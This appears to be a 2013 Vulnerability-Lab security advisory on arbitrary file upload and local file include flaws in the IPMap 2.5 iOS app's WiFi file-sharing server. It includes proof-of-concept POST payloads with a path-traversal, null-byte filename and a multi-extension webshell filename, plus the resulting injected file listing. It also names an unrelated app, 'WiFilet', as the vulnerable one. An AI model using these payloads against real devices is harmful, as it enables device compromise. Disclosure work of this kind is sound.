iOS IPMap 2.5 – Arbitrary File Upload
Title: ====== IPMap v2.5 iPad iPhone - Arbitrary File Upload Web Vulnerabilities Date: ===== 2013-02-18 References: =========== http://www.vulnerability-lab.com/get_content.php?id=866 VL-ID: ===== 866 Common Vulnerability Scoring System: ==================================== 6.3 Introduction: ============= IPMap - IP Address Lookup Details & HTTP Wireless File Sharing with latest WorldWide IP database & FREE Monthly update. Accuracy: Over 99.8% on a country level and 83% on a city level for the US within a 25 mile radius. Features: Auto Detect & Lookup Your Real IP address IP address Hostname IP address Country Code ... ... ... IP address Area Code IP location Map HTTP Wireless File Sharing iTunes File Sync Web Upload File Support Customizable Background from your Photos Album (Copy of the Homepage: https://itunes.apple.com/us/app/ipmap-ip-address-lookup-details/id416041538 ) Abstract: ========= The Vulnerability Laboratory Research Team discovered an arbitrary file upload vulnerability in the mobile IPMap v2.5 app for the apple ipad & iphone. Report-Timeline: ================ 2013-02-18: Public Disclosure Status: ======== Published Affected Products: ================== Apple AppStore Product: IPMap - iPad iPhone 2.5 Exploitation-Technique: ======================= Remote Severity: ========= Critical Details: ======== A local file include and arbitrary file upload web vulnerability via POST request method is detected in the mobile IPMap v2.5 app for the apple ipad & iphone. The vulnerability allows remote attackers via POST method to inject local app webserver folders to request unauthorized local webserver files. 1.1 The main vulnerbility is located in the upload file script of the webserver (http://192.168.0.10:6123/) when processing to load a manipulated filename via POST request method. The execution of the injected path or file request will occur when the attacker is watching the file index listing of the wifi web application web-server. 1.2 Remote attackers can also unauthorized implement mobile webshells by using multiple file extensions (pentest.php.js.gif) when processing to upload (submit) via POST request method. The attacker uploads a file with a double extension or multiple extensions and access the file in the secound step via directory webserver dir listing to compromise the apple iphone or ipad. Exploitation of the local file include web vulnerability does not require user interaction and also no privileged user account. Successful exploitation of the web vulnerabilities results in app/service manipulation and ipad or iphone compromise via file include or unauthorized file (webshell) upload attacks. Vulnerable Application(s): [+] WiFilet v1.2 - ITunes or AppStore (Apple) Vulnerable Module(s): [+] File Upload via Submit (Web Server) [Remote] Vulnerable Parameter(s): [+] file > filename Affected Module(s): [+] File Dir Index - Listing Proof of Concept: ================= Both vulnerabilities can be exploited by remote attackers without privileged application user account and also without required user interaction. For demonstration or reproduce ... 1.1 PoC: (POST) -----------------------------307341202725627 Content-Disposition: form-data; name="file"; filename="../../../../cmd>home>tmp%00<'.png" Content-Type: image/png ���� Review: File Dir Listing <html><head> <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"><title>IPMap</title> <style>body { background-color:#f0f7fd; font-family:Tahoma,Arial,Helvetica,sans-serif; font-size:18x; padding:15px; margin-left:15%; margin-right:15%; } </style></head><body> <h2 style="background-color:#6897ff; margin:0; color:#fff; padding:5px 10px; border: 1px outset #aaa;border-bottom: 0px;">IPMap</h2> <h4 style="background-color:#6897ff;margin:0; color:#fff; padding:0px 10px 8px 10px; border: 1px outset #aaa; border-top: 0px;"> The following files are hosted live from the iPhone's Docs folder.</h4><p><table style="text-align:center; border-color:#9bc0d2; background:#f0f7fd; color:#4e697a; margin:0 auto;" border="1" cellpadding="0" cellspacing="0"><tbody><tr height="30"><td width="400"> <strong>File Name</strong></td><td width="400"><strong>File Info</strong></td></tr><tr height="30"> <td><a href="http://192.168.0.10:6123/../../../../cmd>home>tmp%00<'">%20%20%20%20&"><iframe src="https://www.exploit-db.com/cmd>home>tmp%00<'">%20%20%20%20&"> %20%20%20%20</a></td><td>(27.3 Kb, 2013-02-07 07:00:31 +0000)</td></tr></table></p><form action="" method="post" enctype="multipart/form-data" name="form1" id="form1"><table border="0" cellpadding="0" cellspacing="0" style="text-align:center; margin:0 auto;"><tr height="50"><td width="400"><label>upload file<input type="file" name="file" id="file" /></label></td><td width="400"><label><input type="submit" name="button" id="button" value="Submit" /> <font size="-1">* Please do NOT upload index.htm or index.html</font></label></td></tr></table></form></body></html> </iframe></a></td></tr></tbody></table></p></body></html> 1.2 PoC: (POST) -----------------------------307341202725627 Content-Disposition: form-data; name="file"; filename="pentest.php.js.html.htm.xml.png" Content-Type: image/gif Reference(s): http://192.168.0.10:6123/ Risk: ===== The security risk of the arbitrary file upload web vulnerability via POST request method is estimated as critical. Credits: ======== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com) Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. 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